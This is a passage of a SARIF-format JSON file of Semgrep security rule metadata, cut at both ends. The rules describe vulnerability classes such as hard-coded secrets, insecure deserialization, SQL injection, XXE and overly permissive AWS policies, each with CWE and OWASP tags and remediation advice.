Rule](https://semgrep.dev/r/python.pg8000.python-pg8000-empty-password.python-pg8000-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.pg8000.python-pg8000-empty-password.python-pg8000-empty-password","id":"python.pg8000.python-pg8000-empty-password.python-pg8000-empty-password","name":"python.pg8000.python-pg8000-empty-password.python-pg8000-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pg8000.python-pg8000-empty-password.python-pg8000-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.passport-jwt.security.passport-hardcode.hardcoded-passport-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.passport-jwt.security.passport-hardcode.hardcoded-passport-secret","id":"javascript.passport-jwt.security.passport-hardcode.hardcoded-passport-secret","name":"javascript.passport-jwt.security.passport-hardcode.hardcoded-passport-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.passport-jwt.security.passport-hardcode.hardcoded-passport-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The SoapFormatter type is dangerous and is not recommended for data processing. Applications should stop using SoapFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. SoapFormatter is insecure and can't be made secure"},"help":{"markdown":"The SoapFormatter type is dangerous and is not recommended for data processing. Applications should stop using SoapFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. SoapFormatter is insecure and can't be made secure\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.soap-formatter.insecure-soapformatter-deserialization)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.soap.soapformatter?view=netframework-4.8#remarks](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.soap.soapformatter?view=netframework-4.8#remarks)\n","text":"The SoapFormatter type is dangerous and is not recommended for data processing. Applications should stop using SoapFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. SoapFormatter is insecure and can't be made secure"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.soap-formatter.insecure-soapformatter-deserialization","id":"csharp.lang.security.insecure-deserialization.soap-formatter.insecure-soapformatter-deserialization","name":"csharp.lang.security.insecure-deserialization.soap-formatter.insecure-soapformatter-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.soap-formatter.insecure-soapformatter-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Wildcard used in your SQS queue policy principal. This grants access to all users, including anonymous users (public access). Unless you explicitly require anyone on the internet to be able to read or write to your queue, limit principals, actions and resources to what you need according to least privilege."},"help":{"markdown":"Wildcard used in your SQS queue policy principal. This grants access to all users, including anonymous users (public access). Unless you explicitly require anyone on the internet to be able to read or write to your queue, limit principals, actions and resources to what you need according to least privilege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-sqs-queue-policy-wildcard-principal.aws-sqs-queue-policy-wildcard-principal)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/sqs_queue](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/sqs_queue)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/sqs_queue_policy](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/sqs_queue_policy)\n - [https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-security-best-practices.html](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-security-best-practices.html)\n","text":"Wildcard used in your SQS queue policy principal. This grants access to all users, including anonymous users (public access). Unless you explicitly require anyone on the internet to be able to read or write to your queue, limit principals, actions and resources to what you need according to least privilege."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-sqs-queue-policy-wildcard-principal.aws-sqs-queue-policy-wildcard-principal","id":"terraform.aws.security.aws-sqs-queue-policy-wildcard-principal.aws-sqs-queue-policy-wildcard-principal","name":"terraform.aws.security.aws-sqs-queue-policy-wildcard-principal.aws-sqs-queue-policy-wildcard-principal","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-sqs-queue-policy-wildcard-principal.aws-sqs-queue-policy-wildcard-principal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using the Django object-relational mappers (ORM) instead of raw SQL queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using the Django object-relational mappers (ORM) instead of raw SQL queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://docs.djangoproject.com/en/3.0/topics/security/#sql-injection-protection](https://docs.djangoproject.com/en/3.0/topics/security/#sql-injection-protection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using the Django object-relational mappers (ORM) instead of raw SQL queries."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.tainted-sql-string.tainted-sql-string","id":"python.django.security.injection.tainted-sql-string.tainted-sql-string","name":"python.django.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cassandra.python-cassandra-hardcoded-secret.python-cassandra-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.cassandra.python-cassandra-hardcoded-secret.python-cassandra-hardcoded-secret","id":"python.cassandra.python-cassandra-hardcoded-secret.python-cassandra-hardcoded-secret","name":"python.cassandra.python-cassandra-hardcoded-secret.python-cassandra-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.cassandra.python-cassandra-hardcoded-secret.python-cassandra-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.sqlobject-connection-django.sqlobject-connection-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://sqlobject.org/SQLBuilder.html](https://sqlobject.org/SQLBuilder.html)\n - [https://sqlobject.org/SQLObject.html](https://sqlobject.org/SQLObject.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.django.db.sqlobject-connection-django.sqlobject-connection-django","id":"python.django.db.sqlobject-connection-django.sqlobject-connection-django","name":"python.django.db.sqlobject-connection-django.sqlobject-connection-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.sqlobject-connection-django.sqlobject-connection-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-push.react-nextjs-router-push)\n - [https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts](https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"helpUri":"https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-push.react-nextjs-router-push","id":"typescript.nextjs.react-nextjs-router-push.react-nextjs-router-push","name":"typescript.nextjs.react-nextjs-router-push.react-nextjs-router-push","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nextjs.react-nextjs-router-push.react-nextjs-router-push"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"GCM detected, please check that IV/nonce is not reused, an Initialization Vector (IV) is a nonce used to randomize the encryption, so that even if multiple messages with identical plaintext are encrypted, the generated corresponding ciphertexts are different.Unlike the Key, the IV usually does not need to be secret, rather it is important that it is random and unique. Certain encryption schemes the IV is exchanged in public as part of the ciphertext. Reusing same Initialization Vector with the same Key to encrypt multiple plaintext blocks allows an attacker to compare the ciphertexts and then, with some assumptions on the content of the messages, to gain important information about the data being encrypted."},"help":{"markdown":"GCM detected, please check that IV/nonce is not reused, an Initialization Vector (IV) is a nonce used to randomize the encryption, so that even if multiple messages with identical plaintext are encrypted, the generated corresponding ciphertexts are different.Unlike the Key, the IV usually does not need to be secret, rather it is important that it is random and unique. Certain encryption schemes the IV is exchanged in public as part of the ciphertext. Reusing same Initialization Vector with the same Key to encrypt multiple plaintext blocks allows an attacker to compare the ciphertexts and then, with some assumptions on the content of the messages, to gain important information about the data being encrypted.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.gcm-detection.gcm-detection)\n - [https://cwe.mitre.org/data/definitions/323.html](https://cwe.mitre.org/data/definitions/323.html)\n","text":"GCM detected, please check that IV/nonce is not reused, an Initialization Vector (IV) is a nonce used to randomize the encryption, so that even if multiple messages with identical plaintext are encrypted, the generated corresponding ciphertexts are different.Unlike the Key, the IV usually does not need to be secret, rather it is important that it is random and unique. Certain encryption schemes the IV is exchanged in public as part of the ciphertext. Reusing same Initialization Vector with the same Key to encrypt multiple plaintext blocks allows an attacker to compare the ciphertexts and then, with some assumptions on the content of the messages, to gain important information about the data being encrypted."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.gcm-detection.gcm-detection","id":"kotlin.lang.security.gcm-detection.gcm-detection","name":"kotlin.lang.security.gcm-detection.gcm-detection","properties":{"precision":"very-high","tags":["CWE-323: Reusing a Nonce, Key Pair in Encryption","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.gcm-detection.gcm-detection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Artifactory token detected"},"help":{"markdown":"Artifactory token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-artifactory-password.detected-artifactory-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Artifactory token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-artifactory-password.detected-artifactory-password","id":"generic.secrets.security.detected-artifactory-password.detected-artifactory-password","name":"generic.secrets.security.detected-artifactory-password.detected-artifactory-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-artifactory-password.detected-artifactory-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure that groups of actions that include iam:PassRole and could result in privilege escalation are not all allowed for the same user. These actions could result in an attacker gaining full admin access of an AWS account. Try not to use these actions in conjuction."},"help":{"markdown":"Ensure that groups of actions that include iam:PassRole and could result in privilege escalation are not all allowed for the same user. These actions could result in an attacker gaining full admin access of an AWS account. Try not to use these actions in conjuction.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-priv-esc-roles.no-iam-priv-esc-roles)\n - [https://cloudsplaining.readthedocs.io/en/latest/glossary/privilege-escalation/](https://cloudsplaining.readthedocs.io/en/latest/glossary/privilege-escalation/)\n - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)\n","text":"Ensure that groups of actions that include iam:PassRole and could result in privilege escalation are not all allowed for the same user. These actions could result in an attacker gaining full admin access of an AWS account. Try not to use these actions in conjuction."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-priv-esc-roles.no-iam-priv-esc-roles","id":"terraform.lang.security.iam.no-iam-priv-esc-roles.no-iam-priv-esc-roles","name":"terraform.lang.security.iam.no-iam-priv-esc-roles.no-iam-priv-esc-roles","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-priv-esc-roles.no-iam-priv-esc-roles"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Checks for unsafe deserialization. Objects in Ruby can be serialized into strings, then later loaded from strings. However, uses of load and object_load can cause remote code execution. Loading user input with MARSHAL or CSV can potentially be dangerous. Use JSON in a secure fashion instead."},"help":{"markdown":"Checks for unsafe deserialization. Objects in Ruby can be serialized into strings, then later loaded from strings. However, uses of load and object_load can cause remote code execution. Loading user input with MARSHAL or CSV can potentially be dangerous. Use JSON in a secure fashion instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.bad-deserialization.bad-deserialization)\n - [https://groups.google.com/g/rubyonrails-security/c/61bkgvnSGTQ/m/nehwjA8tQ8EJ](https://groups.google.com/g/rubyonrails-security/c/61bkgvnSGTQ/m/nehwjA8tQ8EJ)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_deserialize.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_deserialize.rb)\n","text":"Checks for unsafe deserialization. Objects in Ruby can be serialized into strings, then later loaded from strings. However, uses of load and object_load can cause remote code execution. Loading user input with MARSHAL or CSV can potentially be dangerous. Use JSON in a secure fashion instead."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.bad-deserialization.bad-deserialization","id":"ruby.lang.security.bad-deserialization.bad-deserialization","name":"ruby.lang.security.bad-deserialization.bad-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.bad-deserialization.bad-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"DOCTYPE declarations are enabled for $DBFACTORY. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"help":{"markdown":"DOCTYPE declarations are enabled for $DBFACTORY. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n","text":"DOCTYPE declarations are enabled for $DBFACTORY. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false","id":"java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false","name":"java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected public S3 bucket policy. This policy allows anyone to access certain properties of or items in the bucket. Do not do this unless you will never have sensitive data inside the bucket."},"help":{"markdown":"Detected public S3 bucket policy. This policy allows anyone to access certain properties of or items in the bucket. Do not do this unless you will never have sensitive data inside the bucket.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/json.aws.security.public-s3-policy-statement.public-s3-policy-statement)\n - [https://docs.aws.amazon.com/AmazonS3/latest/dev/WebsiteAccessPermissionsReqd.html](https://docs.aws.amazon.com/AmazonS3/latest/dev/WebsiteAccessPermissionsReqd.html)\n","text":"Detected public S3 bucket policy. This policy allows anyone to access certain properties of or items in the bucket. Do not do this unless you will never have sensitive data inside the bucket."},"helpUri":"https://semgrep.dev/r/json.aws.security.public-s3-policy-statement.public-s3-policy-statement","id":"json.aws.security.public-s3-policy-statement.public-s3-policy-statement","name":"json.aws.security.public-s3-policy-statement.public-s3-policy-statement","properties":{"precision":"very-high","tags":["CWE-264: CWE CATEGORY: Permissions, Privileges, and Access Controls","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: json.aws.security.public-s3-policy-statement.public-s3-policy-statement"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insecure CipherSuite via the 'tls' module. This suite is considered weak. Use the function 'tls.CipherSuites()' to get a list of good cipher suites. See https://golang.org/pkg/crypto/tls/#InsecureCipherSuites for why and what other cipher suites to use."},"help":{"markdown":"Detected an insecure CipherSuite via the 'tls' module. This suite is considered weak. Use the function 'tls.CipherSuites()' to get a list of good cipher suites. See https://golang.org/pkg/crypto/tls/#InsecureCipherSuites for why and what other cipher suites to use.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.tls.tls-with-insecure-cipher)\n - [https://golang.org/pkg/crypto/tls/#InsecureCipherSuites](https://golang.org/pkg/crypto/tls/#InsecureCipherSuites)\n","text":"Detected an insecure CipherSuite via the 'tls' module. This suite is considered weak. Use the function 'tls.CipherSuites()' to get a list of good cipher suites. See https://golang.org/pkg/crypto/tls/#InsecureCipherSuites for why and what other cipher suites to use."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.tls.tls-with-insecure-cipher","id":"go.lang.security.audit.crypto.tls.tls-with-insecure-cipher","name":"go.lang.security.audit.crypto.tls.tls-with-insecure-cipher","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.tls.tls-with-insecure-cipher"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `XStream` unless you explicitly define permissions for types that are allowed to be deserialized by `XStream`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `XStream` unless you explicitly define permissions for types that are allowed to be deserialized by `XStream`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://x-stream.github.io/security.html](https://x-stream.github.io/security.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `XStream` unless you explicitly define permissions for types that are allowed to be deserialized by `XStream`."},"helpUri":"https://semgrep.dev/r/java.servlets.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep","id":"java.servlets.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep","name":"java.servlets.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Webviews were observed that explictly allow JavaScript in an WKWebview to open windows automatically. Consider disabling this functionality if not required, following the principle of least privelege."},"help":{"markdown":"Webviews were observed that explictly allow JavaScript in an WKWebview to open windows automatically. Consider disabling this functionality if not required, following the principle of least privelege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-js-window.swift-webview-config-allows-js-open-windows)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n - [https://developer.apple.com/documentation/webkit/wkpreferences/1536573-javascriptcanopenwindowsautomati](https://developer.apple.com/documentation/webkit/wkpreferences/1536573-javascriptcanopenwindowsautomati)\n","text":"Webviews were observed that explictly allow JavaScript in an WKWebview to open windows automatically. Consider disabling this functionality if not required, following the principle of least privelege."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-js-window.swift-webview-config-allows-js-open-windows","id":"swift.webview.webview-js-window.swift-webview-config-allows-js-open-windows","name":"swift.webview.webview-js-window.swift-webview-config-allows-js-open-windows","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-js-window.swift-webview-config-allows-js-open-windows"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret 